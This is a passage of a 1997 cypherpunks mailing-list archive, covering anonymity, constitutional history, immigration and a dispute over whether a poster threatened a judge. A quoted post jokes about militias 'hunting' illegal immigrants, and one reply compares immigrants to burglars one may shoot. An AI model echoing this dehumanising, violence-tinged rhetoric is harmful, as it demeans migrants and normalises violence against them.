to contribute one's e-mail address to the UCErs' mailing lists!

And what, exactly, is the point of requiring "belligerant spammers and 
trolls" to post with a valid e-mail address?  Unless they're planning to
spam or mailbomb each other, they are the ones who have the least to fear
from publicly broadcasting their e-mail addresses on a worldwide NG for the
address harvesters to collect and exploit. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Thu, 20 Nov 1997 10:18:43 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Nobuki Nakatuji
In-Reply-To: <199711191358.OAA06580@basement.replay.com>
Message-ID: <3.0.3.32.19971119083722.006986a0@popd.netcruiser>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 02:58 PM 11/19/97 +0100, Anonymous wrote:
>Nobuki Nakatuji, though lesser known, is like Monty Cantsin and 
>Luther Blissett, well-burnished pseudonyms used by wads of 
>artistes who believe them to be more artful than hoary Anonymous. 
>Globalists are producing variations of nom-de-plumes to scribe a 
>message to the clued - duh, in Imperialist Yanklish.
>
>Reputation capital and persistent identity convince only the
>duh-speakers who believe insider secrets, insider lies of hot IPOs, 
>and MISTY/RSA chips ostensibly made in JP and NDA-ed to the 
>gullible by pseudo-chipper fab-lab MD-stingmasters.

Due to his distinctive writing style, John Young should probably have
his anonymous posts translated into English by Nobuki if he truly
wishes to remain anonymous.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

iQA/AwUBNHMVwMJF0kXqpw3MEQLq/ACfSUbKwjx8ao53sT/OD93rXRBqccEAn2c4
+LPS6mQLqJU5dep4LNct4iMz
=rUgk
-----END PGP SIGNATURE-----


Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

Never sign a contract that contains the phrase "first-born child."

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Thu, 20 Nov 1997 02:23:20 +0800
To: rsalz@opengroup.org (Rich Salz)
Subject: Re: export restictions and investments
In-Reply-To: <199711190359.WAA10764@sulphur.osf.org>
Message-ID: <199711191809.KAA17981@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain



> 
> Are you really sure that they bought it all? That would go against what

	I am pretty sure that they have only a 10% stake in Elvis+.

-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Thu, 20 Nov 1997 02:31:16 +0800
To: Tim May <cypherpunks@toad.com>
Subject: Re: FCPUNX:Tim plans to kill a federal judge
Message-ID: <199711191811.KAA12714@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:10 PM 11/14/97 -0700, Tim May wrote:
> By the way, the same can be said about the work of Heidegger, a thinker who
> has had some influence on me. Whenever I cite anything Heidegger ever said,
> I can count on some numbskull to parrot the "Heidegger was a Nazi" shtick.

Probably because Heidegger *was* a Nazi, who pranced around in full drag 
Nazi uniform and sent certain of his colleagues to the concentration camps.

To very crudely oversimplify the relationship between Heideggers 
philosophy and Nazism, it goes like this.

No objective, only the intersubjective, therefore the community
defines reality, therefore truth is merely relative to the community.

Yeah, I know it is more complex than that, but it still boils down
to debates being resolved by hanging people from the ceiling with 
piano wire rather than by appeal to the external world.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 20 Nov 1997 01:12:05 +0800
To: Brian the Obscure <briandaniels@mindspring.com>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <3.0.3.32.19971119105751.006dedc8@pop.mindspring.com>
Message-ID: <199711191648.LAA05485@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.3.32.19971119105751.006dedc8@pop.mindspring.com>, on 11/19/97 
   at 10:57 AM, Brian the Obscure <briandaniels@mindspring.com> said:

>At 08:12 PM 11/18/97 -0700, Tim May wrote:
>>Ironically, the authorities are refusing to enforce the immigration laws.
>>This is why the militias here in California have been forced to deal with
>>illegal immigrants in the only way left to them. (There's a hunt in
>>Imperial Valley this coming Saturday.)
>>
>>--Tim May

>Now that's a tasteful bit of humor, if I do say so myself.

>It's so nice to know that being lucky enough to be born in the U.S.
>authorizes us to look down on and hey, advocate killing those who aren't
>so fortunate.

<sigh> I can hear the violins playing in the background.

This is no different than shooting a burglar that has broken into your
house and is robbing it. I think that you are missing a basic concept that
it is not their country!! If where they are at is such a miserable
shithole then maybe they should do somthing to fix their country rather
than comming here and attempt to make it yet another miserable shithole.

It is not the fault of America that Mexico is the shithole that it is.
Perhaps if they were to overthrow their corrupt government and replaced it
with one based on freedom (both political and economic) there would be no
need for them to come here in the first place. California, New Mexico,
Arizona, and Texas should not be the release valve for a corrupt Mexican
government so they can continue to rape their country and leave their
citizens in poverty.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNHMYAo9Co1n+aLhhAQEjEAP9FDjNzMMDZevN0lzUG08KqPqu/no0/Q0D
B0tNhH7+u7Ky9qjQ3dzB7xJxGKPJGqJKPoXELXreefdqA9phSpIx5285beNgkKNb
woPrQtNUb52wJmEY2GYpKnL1nv2G4jqfQjm3E0TYd8uxOPS6g1OstxBugQdcRG+c
K2E7BLPU8s4=
=GokT
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 20 Nov 1997 01:20:12 +0800
To: Colin Rafferty <craffert@ml.com>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <ocr4t58q25f.fsf@ml.com>
Message-ID: <199711191658.LAA05592@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <ocr4t58q25f.fsf@ml.com>, on 11/19/97 
   at 11:28 AM, Colin Rafferty <craffert@ml.com> said:

>Tim May writes:
>> At 10:17 PM -0700 11/18/97, Colin A. Reed wrote:

>>> I think the most important constitutional protection is that of
>>> due-process.  Thus we need to have a court proceeding to determine that
>>> they really are in the US without a valid visa before we can bus them out.

>> It's called a "Green Card," popularly.

>> No court proceeding is needed to deport illegal aliens, save for a
>> perfunctory classification hearing to determine whether or not they have a
>> Green Card.

>How do you know that someone is not a citizen?  My mother-in-law has no
>green card, can barely speak English, yet can legally stay in the US for 
>as long as she likes.

>Of course, that's because she has been a US citizen for over thirty
>years.

>> I hope you were not suggesting a long drawn-out court case, with lawyers
>> paid for by the taxpayers, to decide that which is patently obvious?

>How do we know that you are in this country legally?  The last time you
>were outdoors, would you have been able to prove that you are in this
>country legally?

>Innocent until proven guilty.  Unless he speaks Spanish.

>It's called the Sixth Amendment, in case you weren't paying attention.

This is a problem.

How do you get rid of the illegals without infringing on the rights of the
citizens?

FWIW I have been strongly against the various laws and inititives
mandating ID for the citizen units especially the push for a national ID.
Curtailing the rights of the citizens to solve a "problem" has never been
a proper approach as it leads to invented "problems" for the sole purpose
of enacting the "solution".

IMNSHO think that the various boarder states should put the National Guard
on the boarder to keep them out. Still doesn't resolve the problem of the
ones that are already here.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
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Charset: cp850
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h6PJ3S/du2w=
=H3M7
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Thu, 20 Nov 1997 02:17:03 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <199711190422.XAA14960@users.invweb.net>
Message-ID: <Pine.LNX.3.95.971119103908.23634C-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain



>    at 06:28 PM, Jim Burnes <jim.burnes@ssds.com> said:
> 
> >Interesting.  I was under the opinion that schooling and "social
> >services" were no more constitutional rights then, say, free food or a
> >pot to piss in.
> 
> Well I have done some more research on this.
> 
> Seems that there is a SC decision in Plyler v Doe 1982 in which the courts
> have ruled that a child (citizen or not) has the *right* to public
> education. This comes out of a Texas case not too differnt from Prop 187
> in California.

Either the SC has a different definition of "right" than the one I 
was taught in civics class in 1973, you misread the decision or
I have the honor of declaring the SC wrong (again).

(I know...how can a lowly citizen like me -- not even a lawyer
have the gall do declare this?  Because I don't get my opinions
from the SC.)

> I'll keep searching but if anyone has a pointer to where this info can be
> found it would be appreciated.
> 
> OK I found Plyler v Doe at:
> 
> http://caselaw.findlaw.com/cgi-bin/getcase.pl?court=US&vol=457&invol=202
> 

OK.  I'll read this.  To tell you the truth I don't hold a lot of hope for
the SC.  They are the ones that refused to hear the case of the little
girls in public school who were repeatedly strip searched by teachers 'cuz
they might have been hiding 5 dollars. 

All the courts up the the SC ruled that the it was just a case of
"poor judgement".  This reminds me of the Orange County Donald
Scott affair, where the prosecuting attorney of OC, after refusing
to prosecute the government agents involved, said they "lost their
moral compass".  Of course, after having said this, the prosecuting
attorney did not allude to where the agents involved could go to
find their moral compass.

I'm sure some citizen units have an idea.
> 
> It seems that this case is one of the main attacks against Prop 187 which
> AFAIK is still in the courts.
> 

I thought this was recently ruled on by our friends in the SC and 
Prop 187 was found constitutional.

Pretty screwy if you ask me, but the court system doesn't have to
make sense.  Since court decisions seem based on case law and not
any semblance of morality(?) or constitutional contractual 
obligation judges seem free to find the exact bit of case law
that defends their decisions.

Much like some sort of perverse argument between fundamentalists
each basing their reasons on selected excerpts from the bible.
If you have ever had the priveledge to witness this kind of
battle of the mentally unarmed, you know what I mean.

Then again sometimes a judge just pleasantly suprises the hell
out of me.

go figure...


jim






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brian the Obscure <briandaniels@mindspring.com>
Date: Thu, 20 Nov 1997 00:21:56 +0800
To: Tim May <declan@well.com>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <3.0.16.19971118231927.0dc71f6e@pop.mindspring.com>
Message-ID: <3.0.3.32.19971119105751.006dedc8@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:12 PM 11/18/97 -0700, Tim May wrote:
>Ironically, the authorities are refusing to enforce the immigration laws.
>This is why the militias here in California have been forced to deal with
>illegal immigrants in the only way left to them. (There's a hunt in
>Imperial Valley this coming Saturday.)
>
>--Tim May

Now that's a tasteful bit of humor, if I do say so myself.

It's so nice to know that being lucky enough to be born in the U.S.
authorizes us to look down on and hey, advocate killing those who aren't so
fortunate.

--Brian


Brian Daniels               | Gremlins squashed, bit-buckets emptied,
briandaniels@mindspring.com | webs woven&patched, cables untangled,
                            | users placated (extra fee), demons
                            | invoked&dispelled, hacks while you wait!
		http://www.mindspring.com/~briandaniels

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 20 Nov 1997 00:18:21 +0800
To: Lucky Green <shamrock@cypherpunks.to>
Subject: Re: AT&T Research "Crowds" -- Perl web anonymity proxy -- needs users
In-Reply-To: <Pine.BSF.3.96.971120135737.11686C-100000@pakastelohi.cypherpunks.to>
Message-ID: <Pine.SUN.3.96.971119110903.2266B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 20 Nov 1997, Lucky Green wrote:

> That is unlikely to  happen. The copies are  personalized.

In what way?  If two people get copies of it and then diff them, the
personalizations are obvious.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 20 Nov 1997 03:36:32 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Canarypunk: Jim Bell in a coalmine
In-Reply-To: <v03102803afd30c03db18@[207.167.93.63]>
Message-ID: <v03102802b098db6819cd@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:38 AM -0700 6/22/97, Robert Hettinga wrote:

>The reason I ask is, given events of the past few days, it may be time to
>start standing up for our friends, no matter how unsavory their ideas.
...
>Tim was talking earlier here about how this kind of accountability should
>have been held, more stringently, for the people who burned children in
>Waco, and who shot them at Ruby Ridge. Maybe it's time to hold people who
>commit capital crimes on the state's behalf to understand that the legal
>sword cuts both ways. If so, I think the best way to start this is to do it
>in manageable increments, and ratchet up the pressure from there. To have
>zero tolerence for even the smallest offenses, starting with the jailing of
>Mr. Bell.

To paraphrase Hettinga himself, "I'm _telling!"

It appears hear that Bob is not only posting "off subject, non-coding"
stuff,  but that he appears to be calling for taking action against the
officials and judges in the Bell case.

My, my, my.


>Yeah, I know. It's me making work for someone else. Nonetheless: Anyone out
>there want to do this?

"Will no one rid me of that judge?"?

Physician, heal thyself.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 20 Nov 1997 01:28:02 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Search engines and https
In-Reply-To: <199711191459.OAA02975@server.test.net>
Message-ID: <199711191715.MAA05794@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199711191459.OAA02975@server.test.net>, on 11/19/97 
   at 02:59 PM, Adam Back <aba@dcs.ex.ac.uk> said:

>Kewl.  Anyone know where those patches to convert for netscape 40 bit
>crippleware to 128 bit crypto are?

>Save download time -- a version 4 browser is quite large to download.

ftp://ftp.replay.com has the patches.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 20 Nov 1997 01:48:51 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Br'er Tim and the Bug Hole
In-Reply-To: <199711142245.QAA05891@dfw-ix4.ix.netcom.com>
Message-ID: <v04002760b098ab8f55d5@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:43 pm -0500 on 11/13/97, Monty wrote:

> Are you asking me to use Foucault's line without giving him credit?
> That doesn't seem right to me.

This is a red herring. What I said about Foucault having a single right
opinion out of an otherwise ungainly pile of dreck has nothing to do with
whether or not you should cite him as an influence.


> BTW, how much of Foucault have you actually read?  I am generally
> unfamiliar with his work, but I have a sinking feeling the same can be
> said for certain of his critics.

Frankly, with most philosophers, you have to spend so much time reading and
rereading what they say (Kant is a good example) that you have to choose
who you read a little better than that. That is, life is too short to read
some philosophers. :-).

I suggest that you read Foucault's actual philosophical works yourself,
instead of his for-public-consumption essays, and see how far you get
before throwing it against the wall. Most of my opinions about Foucault are
from people, like, say Bloom, who say Foucault and the whole crop of French
"Resenters" are a waste of time. If you don't like my use of secondary
sources, get over it. I read what interests me, just like you do.

> >> It seems to me that Tim said "The judge in the Paladin case
> >> committed a capital crime" and not "The judge in the Paladin case
> >> committed a capital crime and should be gunned down in the streets
> >> like a dog."
> >
> >Frankly, I believe that the two sentences above are exactly the same
> >thing,...
>
> No, in the first case the possibility of a fair trial with an
> impartial jury exists.  They are different statements.

Agree to disagree then. I say you're splitting, um, doghairs at best.

> >...but that it was pretty apparently a wish (if not a threat, if you
> >want to pull semantic hairs until one bleeds) that the judge be
> >assassinated,...
>
> Tim has repeatedly made it clear to the world that this was not his
> meaning.  What is your purpose in declaring otherwise?

Tim can make it as "repeatedly clear" as he wants after the fact. However,
he has, on several occasions, made threats against people with more guns
than he has, and, sooner or later, they're gonna squash him, and his aims
won't be any farther along than they were before he decided that he was
some kind of freedom fighter in defense of our rights. To take a page from
his book, I didn't ask him to.

Frankly, I really liked him a lot better when he made sense.

> In every other instance in which Tim has discussed capital punishment,
> it has been in the context of a trial.

I think other people have answered this, and the next few things you've
said this post of yours, much better than I have.

However, Monty, you're just being an apologist for someone used to make
sense about how the world works, who still has his moments of lucidity, but
who has gotten increasingly radicalized and militant at exactly the same
time the world is figuring out that his earlier thinking on freedom, on
cryptography, on the net, and on a whole host of other really important
stuff, was right.

It's almost as if Tim keeps trying to top himself, with some newer and more
grandiose claim about the impending collapse of the world as we know it. It
just ain't so. The world don't work that way.

> >And, Monty, here's another fact: the world isn't going to end on
> >Thanksgiving Day, much less at the beginning of the millennium. Armed
> >storm troopers are probably *not* going to decend on the denizens of
> >this list and haul them off to newly built gulags in the Rockies
> >somewhere, or whatever the current fantasy of the moment is.
>
> When you drive do you always wear your seat belt, or just when you are
> going to have an accident?

Another red herring. Of course, people should educate themselves about
freedom, and know how to use the tools of freedom, including firearms, and,
now, cryptography. That lots of people don't know how to, is of course, a
drag, if not evolution in action.

However, to say that they're coming to take us all away on Thanksgiving, or
anytime soon, is more than a little paranoid, and, to attempt to force a
confrontation in hopes of preciptating a revolution, or even gratuitous
publicity :-), is, frankly, the act of a loon. As Rocky said to Bullwinkle,
"Aw, that trick never works!"

> Incidentally, it is well documented that in the 1980s, the USG had
> detailed plans for mass arrests of dissident citizens.  Ten army camps
> had been selected for this purpose.  The plan was to be executed in
> the event the country invaded Nicaragua.  The USG has incarcerated
> masses of U.S. citizens without trial at least twice during the 20th
> century.

Cool. Why don't you point me to the sources on this one, Monty. Let's see,
two independent sources who same thing should be enough. Ones that don't
quote each other would be preferrable. :-)

Oh, Monty? Don't give me that tired old crap about media conspiracy,
either. That trick never works, either...

> To claim it cannot happen again seems a little naive.

Prove to me it didn't happen?  Wait, there's a list of informal fallacies
around here somewhere. Want a copy. :-).

> >> The book I am reading is called "The Aurora: A Democratic-Republican
> >> Returns" by Richard N. Rosenfeld.
> >
> >Okay. Here's where I cop to bad craziness. It's now time for me to
> >fess up and get my butt hammered like a gentleman. :-).
>
> You certainly take your medicine like a man.  Good.

And your gloating condecention is *manly*? Sheesh...


> Hamilton wrote 51 of the essays, Madison 26, Jay 5, and 3 were written
> jointly by Madison and Hamilton.

Well, spank me dry. That's what I get for having a public eduction, I
guess. Here I thought all along Madison knew what he was talking about,
with that constitution stuff. Clearly the entire constitution is actually
Hamilton's fault. :-).

> If you are saying he attempted to subvert the Constitution, this
> letter will be of interest.  (May 20, 1798 Madison to Jefferson):
>
> >The Alien bill proposed in the Senate is a monster that must forever
> >disgrace its parents.  I should not have supposed it possible that
> >such a one could have been engendered in either House & still
> >persuade myself that it cannot be fathered by both... These addresses
> >to the feelings of the people from their enemies may have more effect
> >in opening their eyes than all the arguments addressed to their
> >understandings by their friends.  The President also seems to be
> >co-operating for the same purpose.  Every answer he gives to his
> >addressers unmasks more and more his principles & views.  His
> >language to the young men at Ph[iladelphia] is the most abominable &
> >degrading that could fall from the lips of the first magistrate of an
> >independent people...  It throws some light on his meaning when he
> >remarked to me "that there was not a single principle the same in the
> >American & French Revolutions;"... the abolition of Royalty was, it
> >seems, not one of his Revolutionary principles...

That's nice, Monty. Your cite is 9 years after Jefferson and Madison
corresponded during the constitutional convention about the bill of rights,
however, and, as far as your quote above, I see nothing there about Madison
himself subverting the constitution, though I'll take your word for it.

But, Monty, be careful, you're pushing fair use, here. Might as well copy
the whole book to us, or something. :-) So, exactly how much *do* you make
on commission at Amazon for copies of "Aurora"? ;-).

> >I believe, if you check it out, that
> >Jefferson sent the Bill of Rights to the Constitutional Convention
> >from France, and that Madison, ironically enough, had a hand in
> >getting it passed.
>
> Perhaps it is your turn to crack open a book and find the reference.
> I would be quite interested (and surprised) if you can substantiate
> your claim.

This is rich, from someone who gets such enormous mileage from just one
book. So, just for fun, I popped into AltaVista (not even the world's
greatest search engine anymore, how the mighty have fallen; I like Dogpile,
at the moment) and gave it "Jefferson wrote the bill of rights" and got
this back:

http://archon.educ.kent.edu/Oasis/Resc/Educ/teach2.html , which of course
only has one sentence about Jefferson and the bill of rights. :-). I leave
permutations and combinations of the search terms to the student as an
exercise.

>From the looks of the above citation, the principle of conservation of
irony still holds, I see...

Meanwhile, oddly enough, I *do* trust the author of the URL's source on the
subject. Unless, of course, he/she/it forgot to read "History Your Mother
Never Taught You", or something...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Colin Rafferty <craffert@ml.com>
Date: Thu, 20 Nov 1997 00:52:08 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <v03102807b098087b39e3@[207.167.93.63]>
Message-ID: <ocr4t58q25f.fsf@ml.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May writes:
> At 10:17 PM -0700 11/18/97, Colin A. Reed wrote:

>> I think the most important constitutional protection is that of
>> due-process.  Thus we need to have a court proceeding to determine that
>> they really are in the US without a valid visa before we can bus them out.

> It's called a "Green Card," popularly.

> No court proceeding is needed to deport illegal aliens, save for a
> perfunctory classification hearing to determine whether or not they have a
> Green Card.

How do you know that someone is not a citizen?  My mother-in-law has no
green card, can barely speak English, yet can legally stay in the US for 
as long as she likes.

Of course, that's because she has been a US citizen for over thirty years.

> I hope you were not suggesting a long drawn-out court case, with lawyers
> paid for by the taxpayers, to decide that which is patently obvious?

How do we know that you are in this country legally?  The last time you
were outdoors, would you have been able to prove that you are in this
country legally?

Innocent until proven guilty.  Unless he speaks Spanish.

It's called the Sixth Amendment, in case you weren't paying attention.

-- 
Colin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 20 Nov 1997 01:46:08 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Mad as Hell
In-Reply-To: <v0400273cb091012f0380@[139.167.130.248]>
Message-ID: <v04002701b098c46a2cda@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:08 am -0500 on 11/14/97, frissell@panix.com wrote:


> >> But in many ways, this is good news. The war is coming faster than I
> >> thought.
> >>
> >> The judge in this case has committed a capital crime.
> >
> >was *not* a threat against a judge?
> >
> >Right, Tim, if you say so.
>
> The phrase "capital crime" (literaly "head crime") just means "worst
>crime".
> It does not imply punishment.  Punishment for capital crimes varies with
>time
> and place.  Saying someone is guilty of an infamous crime is not a death
> threat.  It's not even a death threat to say, "I think X should be arrested,
> tried by a court, and gassed."  You are merely expressing opinions about
> criminal guilt and perhaps capital punishment but you are not making a
> threat.

C'mon, Duncan, you know you're equivocating here, and you know better.

Tim says we're going to war. He says that a judge commits a capital crime,
by whatever definition he, or you, choose to use. Most people, and it
doesn't have to be you, or me, or even Tim himself, would call that a
threat, and, in the above case, against a judge. "Most people" especially
includes those folks with aptly-named "criminal justice" degrees, too much
military hardware and not enough understanding of rhetorical nuance.
*That's* the kind of threat Tim made, and the kind of people who will
interpret it.

At this point, I guess, it's moot. Tim can bay at the moon all he wants. It
is, after all, a free country. "Consider it evolution in action", as Tim's
favorite Pournelle quote goes.

But, up until he made that remark, I still had some respect for him. What
he said there was the breaking branch which turned loose this entire
landslide of disrepect for him on my part. As far as I was concerned, he
crossed the border into loonyland, and I decided to call him it. "Call a
spade a spade." Or a loon a loon.

Now, frankly, Tim still says stuff here worth reading, but I'm finding,
more and more, that other people say the same things I used to hear him
say, and they say it much better. At the moment, I expect, someday, to put
him in my own killfile, just like Chrispin, or Vulis, or Detweiller/Nuri,
or even poor Phill Hallam, who can't help himself ;-), just to keep me from
going off on him like I did this time. I'll try to restrain myself a little
bit better in the meantime.

> Tim was *not* threatening to set up his own court and try anyone himself and
> carry out a punishment.

No, he said that war was coming, and that a sitting judge had committed a
capital crime. You figure it out.

> >> You sicken me.
> >
> >Um, well... Take a pill, maybe?
> >
> >Cheers,
> >Bob Hettinga
>
> Bob, Tim's is just a different approach.  It shouldn't sicken you.

Watch your attributions, there, Duncan. Tim's the one who needs to take a
pill, not me.

I'm fine. I *was* mildly apoplectic, but I feel *much* better, now. :-).

> Tim and I
> are members of the same birth cohort and I think you are a little bit
>younger
> but it seems to me that he has absorbed the major message of modern
>education
> better.  You know -- Multi Culturalism.  Or as Mao said "let a thousand
> flowers bloom".  Tim's a very Multi Culti guy.  Individuation.  Big time.
> Micro Cultures.  He believes in letting other people explore the rich
> diversity of their lives and experiences as long as they let him do the
>same.
>  He's trying to make sure that everyone is aware that Multi Culturalism is
> *real*.  Too many proponents of same treat it as some bland mush.  Tim is
> keeping them aware of the spice.
>
> Or as my grandfather said "It doesn't matter what your race, creed or color
> is.  You can still be a son of a bitch."  True equality requires true
> liberty.

I agree with everything you said there, Duncan. All of it. Except the part
where Tim, metaphorically or not, calmly goes out into the street one nice
afternoon and throws rocks at cop cars to get their attention about how
fascist they all are.

That's not revolution. It's the act of a loon.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Colin Rafferty <craffert@ml.com>
Date: Thu, 20 Nov 1997 01:33:07 +0800
To: cypherpunks@toad.com
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <199711191648.LAA05485@users.invweb.net>
Message-ID: <ocryb2koljs.fsf@ml.com>
MIME-Version: 1.0
Content-Type: text/plain



William H Geiger writes:

> It is not the fault of America that Mexico is the shithole that it is.

Actually, it is.

-- 
Colin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 20 Nov 1997 02:02:57 +0800
To: iang@systemics.com (Ian Grigg)
Subject: Re: cryptx spam - des-based program.
In-Reply-To: <3473229E.6BC5E22A@systemics.com>
Message-ID: <199711191741.MAA08648@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



Ian Grigg wrote:
| Adam Shostack wrote:
| > 
| > As the maintainer of the free crypto libraries page
| > (www.homeport.org/~adam/crypto), I'm strongly tempted to refuse to add
| > any new library whose name starts with crypt.
| 
| I'd be interested to hear your reasons for this.  Is it a comment on
| crowding or on the use of the generic?  Looking at your page, I guess
| it's the overcrowding:  Crypto++ CryptoLib CryptLib Cryptix.  Try
| swapping the columns to intersperse the crypt-cartel.

	Its the overuse of the generic.  Cryptolib and Cryptlib are
different.  Quick, who wrote which?  I can't keep it straight.  (I
have web pages for that. :)  I can distinguish out BSAFE and SSLeay.

	Crowding is only a small problem.  If the names were better,
it would not be an issue.  The ordering on the page is the order I
created them, and it will not be changed due to the inordinate effort
required to change an HTML table.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






